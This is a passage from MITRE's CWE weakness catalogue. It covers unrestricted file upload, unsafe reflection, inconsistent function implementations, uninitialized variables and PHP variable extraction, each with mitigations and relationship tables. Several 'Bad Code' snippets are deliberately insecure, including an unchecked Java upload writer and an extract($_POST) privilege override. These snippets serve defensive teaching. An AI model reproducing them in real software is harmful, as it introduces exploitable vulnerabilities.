String filename = pLine.substring(pLine.lastIndexOf("\\"), pLine.lastIndexOf("\""));
...

// output the file to the local upload directory
try {
BufferedWriter bw = new BufferedWriter(new FileWriter(uploadLocation+filename, true));
for (String line; (line=br.readLine())!=null; ) {
if (line.indexOf(boundary) == -1) {
bw.write(line);
bw.newLine();
bw.flush();
}
} //end of for loop
bw.close();

} catch (IOException ex) {...}
// output successful upload response HTML page
}
// output unsuccessful upload response HTML page
else
{...}
}
...
}

As with the previous example this code does not perform a check on the type of the file being uploaded. This could allow an attacker to upload any executable file or other file with malicious code.

Additionally, the creation of the BufferedWriter object is subject to relative path traversal (CWE-22, CWE-23). Depending on the executing environment, the attacker may be able to specify arbitrary files to write to, leading to a wide variety of consequences, from code execution, XSS (CWE-79), or system crash.

+ Observed Examples
ReferenceDescription
Web-based mail product stores ".shtml" attachments that could contain SSI
PHP upload does not restrict file types
upload and execution of .php file
upload file with dangerous extension
program does not restrict file types
improper type checking of uploaded files
Double "php" extension leaves an active php extension in the generated filename.
ASP program allows upload of .asp files by bypassing client-side checks
ASP file upload
ASP file upload
+ Potential Mitigations

Phase: Architecture and Design

Generate a new, unique filename for an uploaded file instead of using the user-supplied filename, so that no external input is used at all.[R.434.1] [R.434.2]

Phase: Architecture and Design

Strategy: Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

Phase: Architecture and Design

Consider storing the uploaded files outside of the web document root entirely. Then, use other mechanisms to deliver the files dynamically. [R.434.2]

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

For example, limiting filenames to alphanumeric characters can help to restrict the introduction of unintended file extensions.

Phase: Architecture and Design

Define a very limited set of allowable extensions and only generate filenames that end in these extensions. Consider the possibility of XSS (CWE-79) before allowing .html or .htm file types.

Phase: Implementation

Strategy: Input Validation

Ensure that only one extension is used in the filename. Some web servers, including some versions of Apache, may process files based on inner extensions so that "filename.php.gif" is fed to the PHP interpreter.[R.434.1] [R.434.2]

Phase: Implementation

When running on a web server that supports case-insensitive filenames, perform case-insensitive evaluations of the extensions that are provided.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phase: Implementation

Do not rely exclusively on sanity checks of file contents to ensure that the file is of the expected type and size. It may be possible for an attacker to hide code in some file segments that will still be executed by the server. For example, GIF images may contain a free-form comments field.

Phase: Implementation

Do not rely exclusively on the MIME content type or filename attribute when determining how to render a file. Validating the MIME content type and ensuring that it matches the extension is only a partial solution.

Phases: Architecture and Design; Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [R.434.4]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Phases: Architecture and Design; Operation

Strategy: Sandbox or Jail

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.

OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.

This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.

Be careful to avoid CWE-243 and other weaknesses related to jails.

Effectiveness: Limited

The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

+ Weakness Ordinalities
OrdinalityDescription
Primary

This can be primary when there is no check at all.

Resultant

This is frequently resultant when use of double extensions (e.g. ".php.gif") bypasses a sanity check.

This can be resultant from client-side enforcement (CWE-602); some products will include web script in web clients to check the filename, without verifying on the server side.

+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfCategoryCategory429Handler Errors
Development Concepts (primary)699
ChildOfCategoryCategory632Weaknesses that Affect Files or Directories
Resource-specific Weaknesses (primary)631
ChildOfWeakness ClassWeakness Class669Incorrect Resource Transfer Between Spheres
Research Concepts (primary)1000
Weaknesses for Simplified Mapping of Published Vulnerabilities (primary)1003
ChildOfCategoryCategory714OWASP Top Ten 2007 Category A3 - Malicious File Execution
Weaknesses in OWASP Top Ten (2007) (primary)629
ChildOfCategoryCategory8012010 Top 25 - Insecure Interaction Between Components
Weaknesses in the 2010 CWE/SANS Top 25 Most Dangerous Programming Errors (primary)800
ChildOfCategoryCategory813OWASP Top Ten 2010 Category A4 - Insecure Direct Object References
Weaknesses in OWASP Top Ten (2010) (primary)809
ChildOfCategoryCategory8642011 Top 25 - Insecure Interaction Between Components
Weaknesses in the 2011 CWE/SANS Top 25 Most Dangerous Software Errors (primary)900
PeerOfWeakness BaseWeakness Base351Insufficient Type Distinction
Research Concepts1000
PeerOfWeakness BaseWeakness Base430Deployment of Wrong Handler
Research Concepts1000
PeerOfWeakness BaseWeakness Base436Interpretation Conflict
Research Concepts1000
MemberOfViewView884CWE Cross-section
CWE Cross-section (primary)884
CanFollowWeakness ClassWeakness Class73External Control of File Name or Path
Research Concepts1000
CanFollowWeakness BaseWeakness Base183Permissive Whitelist
Research Concepts1000
CanFollowWeakness BaseWeakness Base184Incomplete Blacklist
Research Concepts1000
+ Relationship Notes

This can have a chaining relationship with incomplete blacklist / permissive whitelist errors when the product tries, but fails, to properly limit which types of files are allowed (CWE-183, CWE-184).

This can also overlap multiple interpretation errors for intermediaries, e.g. anti-virus products that do not remove or quarantine attachments with certain file extensions that can be processed by client systems.

+ Research Gaps

PHP applications are most targeted, but this likely applies to other languages that support file upload, as well as non-web technologies. ASP applications have also demonstrated this problem.

+ Affected Resources
  • File/Directory
+ Functional Areas
  • File Processing
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERUnrestricted File Upload
OWASP Top Ten 2007A3CWE More SpecificMalicious File Execution
+ References
[R.434.1] Richard Stanway (r1CH). "Dynamic File Uploads, Security and You". <http://shsc.info/FileUploadSecurity>.
[R.434.2] Johannes Ullrich. "8 Basic Rules to Implement Secure File Uploads". 2009-12-28. <http://blogs.sans.org/appsecstreetfighter/2009/12/28/8-basic-rules-to-implement-secure-file-uploads/>.
[R.434.3] Johannes Ullrich. "Top 25 Series - Rank 8 - Unrestricted Upload of Dangerous File Type". SANS Software Security Institute. 2010-02-25. <http://blogs.sans.org/appsecstreetfighter/2010/02/25/top-25-series-rank-8-unrestricted-upload-of-dangerous-file-type/>.
[R.434.4] [REF-31] Sean Barnum and Michael Gegick. "Least Privilege". 2005-09-14. <https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html>.
[R.434.5] [REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 17, "File Uploading", Page 1068.. 1st Edition. Addison Wesley. 2006.
+ Content History
Submissions
Submission DateSubmitterOrganizationSource
PLOVERExternally Mined
Modifications
Modification DateModifierOrganizationSource
2008-07-01Eric DalciCigitalExternal
updated Time_of_Introduction
2008-09-08CWE Content TeamMITREInternal
updated Alternate_Terms, Relationships, Other_Notes, Taxonomy_Mappings
2009-01-12CWE Content TeamMITREInternal
updated Relationships
2009-12-28CWE Content TeamMITREInternal
updated Applicable_Platforms, Functional_Areas, Likelihood_of_Exploit, Potential_Mitigations, Time_of_Introduction
2010-02-16
(Critical)
CWE Content TeamMITREInternal
converted from Compound_Element to Weakness
2010-02-16CWE Content TeamMITREInternal
updated Alternate_Terms, Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Name, Other_Notes, Potential_Mitigations, References, Related_Attack_Patterns, Relationship_Notes, Relationships, Type, Weakness_Ordinalities
2010-04-05CWE Content TeamMITREInternal
updated Related_Attack_Patterns
2010-06-21CWE Content TeamMITREInternal
updated References, Relationship_Notes
2010-09-27CWE Content TeamMITREInternal
updated Potential_Mitigations
2010-12-13CWE Content TeamMITREInternal
updated Potential_Mitigations
2011-06-27CWE Content TeamMITREInternal
updated Relationships
2011-09-13CWE Content TeamMITREInternal
updated Potential_Mitigations, References, Relationships
2012-05-11CWE Content TeamMITREInternal
updated References, Relationships
2012-10-30CWE Content TeamMITREInternal
updated Potential_Mitigations
2014-07-30CWE Content TeamMITREInternal
updated Detection_Factors
2015-12-07CWE Content TeamMITREInternal
updated Relationships
Previous Entry Names
Change DatePrevious Entry Name
2010-02-16Unrestricted File Upload

CWE-470: Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')

Weakness ID: 470
Abstraction: Base
Status: Draft
Presentation Filter:
+ Description

Description Summary

The application uses external input with reflection to select which classes or code to use, but it does not sufficiently prevent the input from selecting improper classes or code.

Extended Description

If the application uses external inputs to determine which class to instantiate or which method to invoke, then an attacker could supply values to select unexpected classes or methods. If this occurs, then the attacker could create control flow paths that were not intended by the developer. These paths could bypass authentication or access control checks, or otherwise cause the application to behave in an unexpected manner. This situation becomes a doomsday scenario if the attacker can upload files into a location that appears on the application's classpath (CWE-427) or add new entries to the application's classpath (CWE-426). Under either of these conditions, the attacker can use reflection to introduce new, malicious behavior into the application.

+ Alternate Terms
Reflection Injection
+ Time of Introduction
  • Architecture and Design
  • Implementation
+ Applicable Platforms

Languages

Java

PHP

Interpreted languages: (Sometimes)

+ Common Consequences
ScopeEffect
Integrity
Confidentiality
Availability
Other

Technical Impact: Execute unauthorized code or commands; Alter execution logic

The attacker might be able to execute code that is not directly accessible to the attacker. Alternately, the attacker could call unexpected code in the wrong place or the wrong time, possibly modifying critical system state.

Availability
Other

Technical Impact: DoS: crash / exit / restart; Other

The attacker might be able to use reflection to call the wrong code, possibly with unexpected arguments that violate the API (CWE-227). This could cause the application to exit or hang.

Confidentiality

Technical Impact: Read application data

By causing the wrong code to be invoked, the attacker might be able to trigger a runtime error that leaks sensitive information in the error message, such as CWE-536.

+ Demonstrative Examples

Example 1

A common reason that programmers use the reflection API is to implement their own command dispatcher. The following example shows a command dispatcher that does not use reflection:

(Good Code)
Example Language: Java 
String ctl = request.getParameter("ctl");
Worker ao = null;
if (ctl.equals("Add")) {
ao = new AddCommand();
}
else if (ctl.equals("Modify")) {
ao = new ModifyCommand();
}
else {
throw new UnknownActionError();
}
ao.doAction(request);

A programmer might refactor this code to use reflection as follows:

(Bad Code)
Example Language: Java 
String ctl = request.getParameter("ctl");
Class cmdClass = Class.forName(ctl + "Command");
Worker ao = (Worker) cmdClass.newInstance();
ao.doAction(request);

The refactoring initially appears to offer a number of advantages. There are fewer lines of code, the if/else blocks have been entirely eliminated, and it is now possible to add new command types without modifying the command dispatcher. However, the refactoring allows an attacker to instantiate any object that implements the Worker interface. If the command dispatcher is still responsible for access control, then whenever programmers create a new class that implements the Worker interface, they must remember to modify the dispatcher's access control code. If they do not modify the access control code, then some Worker classes will not have any access control.

One way to address this access control problem is to make the Worker object responsible for performing the access control check. An example of the re-refactored code follows:

(Bad Code)
Example Language: Java 
String ctl = request.getParameter("ctl");
Class cmdClass = Class.forName(ctl + "Command");
Worker ao = (Worker) cmdClass.newInstance();
ao.checkAccessControl(request);
ao.doAction(request);

Although this is an improvement, it encourages a decentralized approach to access control, which makes it easier for programmers to make access control mistakes. This code also highlights another security problem with using reflection to build a command dispatcher. An attacker can invoke the default constructor for any kind of object. In fact, the attacker is not even constrained to objects that implement the Worker interface; the default constructor for any object in the system can be invoked. If the object does not implement the Worker interface, a ClassCastException will be thrown before the assignment to ao, but if the constructor performs operations that work in the attacker's favor, the damage will already have been done. Although this scenario is relatively benign in simple applications, in larger applications where complexity grows exponentially it is not unreasonable that an attacker could find a constructor to leverage as part of an attack.

+ Observed Examples
ReferenceDescription
Database system allows attackers to bypass sandbox restrictions by using the Reflection APi.
+ Potential Mitigations

Phase: Architecture and Design

Refactor your code to avoid using reflection.

Phase: Architecture and Design

Do not use user-controlled inputs to select and load classes or code.

Phase: Implementation

Apply strict input validation by using whitelists or indirect selection to ensure that the user is only selecting allowable classes or code.

+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfWeakness ClassWeakness Class20Improper Input Validation
Development Concepts (primary)699
Seven Pernicious Kingdoms (primary)700
ChildOfWeakness ClassWeakness Class610Externally Controlled Reference to a Resource in Another Sphere
Research Concepts1000
ChildOfCategoryCategory859CERT Java Secure Coding Section 14 - Platform Security (SEC)
Weaknesses Addressed by the CERT Java Secure Coding Standard (primary)844
ChildOfWeakness ClassWeakness Class913Improper Control of Dynamically-Managed Code Resources
Research Concepts (primary)1000
ChildOfCategoryCategory991SFP Secondary Cluster: Tainted Input to Environment
Software Fault Pattern (SFP) Clusters (primary)888
MemberOfViewView884CWE Cross-section
CWE Cross-section (primary)884
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
7 Pernicious KingdomsUnsafe Reflection
CERT Java Secure CodingSEC06-JDo not use reflection to increase accessibility of classes, methods, or fields
+ White Box Definitions

A weakness where code path has:

1. start statement that accepts input

2. end statement that performs reflective operation and where the input is part of the target name of the reflective operation

+ Content History
Submissions
Submission DateSubmitterOrganizationSource
7 Pernicious KingdomsExternally Mined
Modifications
Modification DateModifierOrganizationSource
2008-07-01Eric DalciCigitalExternal
updated Potential_Mitigations, Time_of_Introduction
2008-08-01KDM AnalyticsExternal
added/updated white box definitions
2008-09-08CWE Content TeamMITREInternal
updated Description, Relationships, Other_Notes, Taxonomy_Mappings
2008-10-14CWE Content TeamMITREInternal
updated Applicable_Platforms, Demonstrative_Examples, Description, Other_Notes
2009-01-12CWE Content TeamMITREInternal
updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Observed_Examples, Potential_Mitigations
2009-05-27CWE Content TeamMITREInternal
updated Demonstrative_Examples, Name
2009-10-29CWE Content TeamMITREInternal
updated Alternate_Terms, Relationships
2011-03-29CWE Content TeamMITREInternal
updated Demonstrative_Examples
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
2013-02-21CWE Content TeamMITREInternal
updated Relationships
2014-07-30CWE Content TeamMITREInternal
updated Relationships
Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Unsafe Reflection
2009-05-27Use of Externally-Controlled Input to Select Classes or Code (aka 'Unsafe Reflection')

CWE-474: Use of Function with Inconsistent Implementations

Weakness ID: 474
Abstraction: Base
Status: Draft
Presentation Filter:
+ Description

Description Summary

The code uses a function that has inconsistent implementations across operating systems and versions.

Extended Description

The use of inconsistent implementations can cause changes in behavior when the code is ported or built under a different environment than the programmer expects, which can lead to security problems in some cases.

The implementation of many functions varies by platform, and at times, even by different versions of the same platform. Implementation differences can include:

  • Slight differences in the way parameters are interpreted leading to inconsistent results.

  • Some implementations of the function carry significant security risks.

  • The function might not be defined on all platforms.

  • The function might change which return codes it can provide, or change the meaning of its return codes.

+ Time of Introduction
  • Architecture and Design
  • Implementation
+ Applicable Platforms

Languages

C: (Often)

PHP: (Often)

Language-independent

+ Common Consequences
ScopeEffect
Other

Technical Impact: Quality degradation; Varies by context

+ Potential Mitigations

Phases: Architecture and Design; Requirements

Do not accept inconsistent behavior from the API specifications when the deviant behavior increase the risk level.

+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfWeakness ClassWeakness Class398Indicator of Poor Code Quality
Development Concepts (primary)699
Seven Pernicious Kingdoms (primary)700
Research Concepts (primary)1000
ChildOfCategoryCategory1001SFP Secondary Cluster: Use of an Improper API
Software Fault Pattern (SFP) Clusters (primary)888
ParentOfWeakness VariantWeakness Variant589Call to Non-ubiquitous API
Research Concepts (primary)1000
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
7 Pernicious KingdomsInconsistent Implementations
Software Fault PatternsSFP3Use of an improper API
+ Content History
Submissions
Submission DateSubmitterOrganizationSource
7 Pernicious KingdomsExternally Mined
Modifications
Modification DateModifierOrganizationSource
2008-07-01Eric DalciCigitalExternal
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITREInternal
updated Applicable_Platforms, Relationships, Other_Notes, Taxonomy_Mappings
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences, Other_Notes
2011-06-27CWE Content TeamMITREInternal
updated Common_Consequences
2012-05-11CWE Content TeamMITREInternal
updated Relationships
2012-10-30CWE Content TeamMITREInternal
updated Potential_Mitigations
2014-06-23CWE Content TeamMITREInternal
updated Applicable_Platforms, Description, Other_Notes
2014-07-30CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Inconsistent Implementations

CWE-457: Use of Uninitialized Variable

Weakness ID: 457
Abstraction: Variant
Status: Draft
Presentation Filter:
+ Description

Description Summary

The code uses a variable that has not been initialized, leading to unpredictable or unintended results.

Extended Description

In some languages such as C and C++, stack variables are not initialized by default. They generally contain junk data with the contents of stack memory before the function was invoked. An attacker can sometimes control or read these contents. In other languages or conditions, a variable that is not explicitly initialized can be given a default value that has security implications, depending on the logic of the program. The presence of an uninitialized variable can sometimes indicate a typographic error in the code.

+ Time of Introduction
  • Implementation
+ Applicable Platforms

Languages

C: (Sometimes)

C++: (Sometimes)

Perl: (Often)

PHP: (Often)

Language-independent

+ Modes of Introduction

In C, using an uninitialized char * in some string libraries will return incorrect results, as the libraries expect the null terminator to always be at the end of a string, even if the string is empty.

+ Common Consequences
ScopeEffect
Availability
Integrity
Other

Technical Impact: Other

Initial variables usually contain junk, which can not be trusted for consistency. This can lead to denial of service conditions, or modify control flow in unexpected ways. In some cases, an attacker can "pre-initialize" the variable using previous actions, which might enable code execution. This can cause a race condition if a lock variable check passes when it should not.

Authorization
Other

Technical Impact: Other

Strings that are not initialized are especially dangerous, since many functions expect a null at the end -- and only at the end -- of a string.

+ Likelihood of Exploit

High

+ Demonstrative Examples

Example 1

This code prints a greeting using information stored in a POST request:

(Bad Code)
Example Language: PHP 
if (isset($_POST['names'])) {
$nameArray = $_POST['names'];
}
echo "Hello " . $nameArray['first'];

This code checks if the POST array 'names' is set before assigning it to the $nameArray variable. However, if the array is not in the POST request, $nameArray will remain uninitialized. This will cause an error when the array is accessed to print the greeting message, which could lead to further exploit.

Example 2

The following switch statement is intended to set the values of the variables aN and bN before they are used:

(Bad Code)
Example Language:
int aN, Bn;
switch (ctl) {
case -1:
aN = 0;
bN = 0;
break;
case 0:
aN = i;
bN = -i;
break;
case 1:
aN = i + NEXT_SZ;
bN = i - NEXT_SZ;
break;
default:
aN = -1;
aN = -1;
break;
}
repaint(aN, bN);

In the default case of the switch statement, the programmer has accidentally set the value of aN twice. As a result, bN will have an undefined value. Most uninitialized variable issues result in general software reliability problems, but if attackers can intentionally trigger the use of an uninitialized variable, they might be able to launch a denial of service attack by crashing the program. Under the right circumstances, an attacker may be able to control the value of an uninitialized variable by affecting the values on the stack prior to the invocation of the function.

+ Observed Examples
ReferenceDescription
Uninitialized variable leads to code execution in popular desktop application.
Crafted input triggers dereference of an uninitialized object pointer.
Crafted audio file triggers crash when an uninitialized variable is used.
Uninitialized random seed variable used.
+ Potential Mitigations

Phase: Implementation

Strategy: Identify and Reduce Attack Surface

Assign all variables to an initial value.

Phase: Build and Compilation

Strategy: Compilation or Build Hardening

Most compilers will complain about the use of uninitialized variables if warnings are turned on.

Phases: Implementation; Operation

When using a language that does not require explicit declaration of variables, run or compile the software in a mode that reports undeclared or unknown variables. This may indicate the presence of a typographic error in the variable's name.

Phase: Requirements

The choice could be made to use a language that is not susceptible to these issues.

Phase: Architecture and Design

Mitigating technologies such as safe string libraries and container abstractions could be introduced.

+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfWeakness ClassWeakness Class398Indicator of Poor Code Quality
Seven Pernicious Kingdoms (primary)700
ChildOfWeakness ClassWeakness Class665Improper Initialization
Development Concepts (primary)699
Research Concepts (primary)1000
ChildOfCategoryCategory998SFP Secondary Cluster: Glitch in Computation
Software Fault Pattern (SFP) Clusters (primary)888
MemberOfViewView630Weaknesses Examined by SAMATE
Weaknesses Examined by SAMATE (primary)630
CanFollowWeakness BaseWeakness Base456Missing Initialization of a Variable
Development Concepts699
Research Concepts1000
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CLASPUninitialized variable
7 Pernicious KingdomsUninitialized Variable
Software Fault PatternsSFP1Glitch in computation
+ White Box Definitions

A weakness where the code path has:

1. start statement that defines variable

2. end statement that accesses the variable

3. the code path does not contain a statement that assigns value to the variable

+ References
mercy. "Exploiting Uninitialized Data". Jan 2006. < http://www.felinemenace.org/~mercy/papers/UBehavior/UBehavior.zip>.
Microsoft Security Vulnerability Research & Defense. "MS08-014 : The Case of the Uninitialized Stack Variable Vulnerability". 2008-03-11. <http://blogs.technet.com/swi/archive/2008/03/11/the-case-of-the-uninitialized-stack-variable-vulnerability.aspx>.
[REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 8: C++ Catastrophes." Page 143. McGraw-Hill. 2010.
[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 7, "Variable Initialization", Page 312.. 1st Edition. Addison Wesley. 2006.
+ Content History
Submissions
Submission DateSubmitterOrganizationSource
CLASPExternally Mined
Modifications
Modification DateModifierOrganizationSource
2008-07-01Eric DalciCigitalExternal
updated Time_of_Introduction
2008-08-01KDM AnalyticsExternal
added/updated white box definitions
2008-09-08CWE Content TeamMITREInternal
updated Applicable_Platforms, Common_Consequences, Description, Relationships, Observed_Example, Other_Notes, References, Taxonomy_Mappings
2009-01-12CWE Content TeamMITREInternal
updated Common_Consequences, Demonstrative_Examples, Potential_Mitigations
2009-03-10CWE Content TeamMITREInternal
updated Demonstrative_Examples
2009-05-27CWE Content TeamMITREInternal
updated Demonstrative_Examples
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences
2012-05-11CWE Content TeamMITREInternal
updated References, Relationships
2012-10-30CWE Content TeamMITREInternal
updated Demonstrative_Examples
2013-02-21CWE Content TeamMITREInternal
updated Applicable_Platforms, Description, Other_Notes, Potential_Mitigations, Relationships
2014-06-23CWE Content TeamMITREInternal
updated Modes_of_Introduction, Other_Notes
2014-07-30CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Uninitialized Variable

CWE-621: Variable Extraction Error

Weakness ID: 621
Abstraction: Base
Status: Incomplete
Presentation Filter:
+ Description

Description Summary

The product uses external input to determine the names of variables into which information is extracted, without verifying that the names of the specified variables are valid. This could cause the program to overwrite unintended variables.

Extended Description

For example, in PHP, extraction can be used to provide functionality similar to register_globals, a dangerous functionality that is frequently disabled in production systems. Calling extract() or import_request_variables() without the proper arguments could allow arbitrary global variables to be overwritten, including superglobals.

Similar functionality is possible in other interpreted languages, including custom languages.

+ Alternate Terms
Variable overwrite
+ Time of Introduction
  • Implementation
+ Applicable Platforms

Languages

PHP

+ Common Consequences
ScopeEffect
Integrity

Technical Impact: Modify application data

An attacker could modify sensitive data or program variables.

+ Demonstrative Examples

Example 1

This code uses the credentials sent in a POST request to login a user.

(Bad Code)
Example Language: PHP 
//Log user in, and set $isAdmin to true if user is an administrator
function login($user,$pass){
$query = buildQuery($user,$pass);
mysql_query($query);
if(getUserRole($user) == "Admin"){
$isAdmin = true;
}
}

$isAdmin = false;
extract($_POST);
login(mysql_real_escape_string($user),mysql_real_escape_string($pass));

The call to extract() will overwrite the existing values of any variables defined previously, in this case $isAdmin. An attacker can send a POST request with an unexpected third value "isAdmin" equal to "true", thus gaining Admin privileges.

+ Observed Examples
ReferenceDescription
extract issue enables file inclusion
extract used for register_globals compatibility layer, enables path traversal
extract() buried in include files makes post-disclosure analysis confusing; original report had seemed incorrect.
extract() enables static code injection
import_request_variables() buried in include files makes post-disclosure analysis confusing
+ Potential Mitigations

Phase: Implementation

Strategy: Input Validation

Use whitelists of variable names that can be extracted.

Phase: Implementation

Consider refactoring your code to avoid extraction routines altogether.

Phase: Implementation

In PHP, call extract() with options such as EXTR_SKIP and EXTR_PREFIX_ALL; call import_request_variables() with a prefix argument. Note that these capabilities are not present in all PHP versions.

+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfWeakness BaseWeakness Base914Improper Control of Dynamically-Identified Variables
Development Concepts (primary)699
Research Concepts (primary)1000
ChildOfCategoryCategory990SFP Secondary Cluster: Tainted Input to Command
Software Fault Pattern (SFP) Clusters (primary)888
CanPrecedeWeakness BaseWeakness Base471Modification of Assumed-Immutable Data (MAID)
Research Concepts1000
MemberOfViewView884CWE Cross-section
CWE Cross-section (primary)884
+ Research Gaps

Probably under-reported for PHP. Under-studied for other interpreted languages.

+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
Software Fault PatternsSFP24Tainted input to command
+ Content History
Modifications
Modification DateModifierOrganizationSource
2008-07-01Eric DalciCigitalExternal
updated Time_of_Introduction
2008-09-08CWE Content TeamMITREInternal
updated Description, Relationships, Observed_Example, Other_Notes, Weakness_Ordinalities
2008-10-14CWE Content TeamMITREInternal
updated Description
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences
2012-05-11CWE Content TeamMITREInternal
updated Common_Consequences, Demonstrative_Examples, Relationships
2012-10-30CWE Content TeamMITREInternal
updated Potential_Mitigations
2013-02-21CWE Content TeamMITREInternal
updated Demonstrative_Examples, Relationships
2014-06-23CWE Content TeamMITREInternal
updated Description, Other_Notes
2014-07-30CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings

More information is available — Please select a different filter.
Page Last Updated: January 11, 2017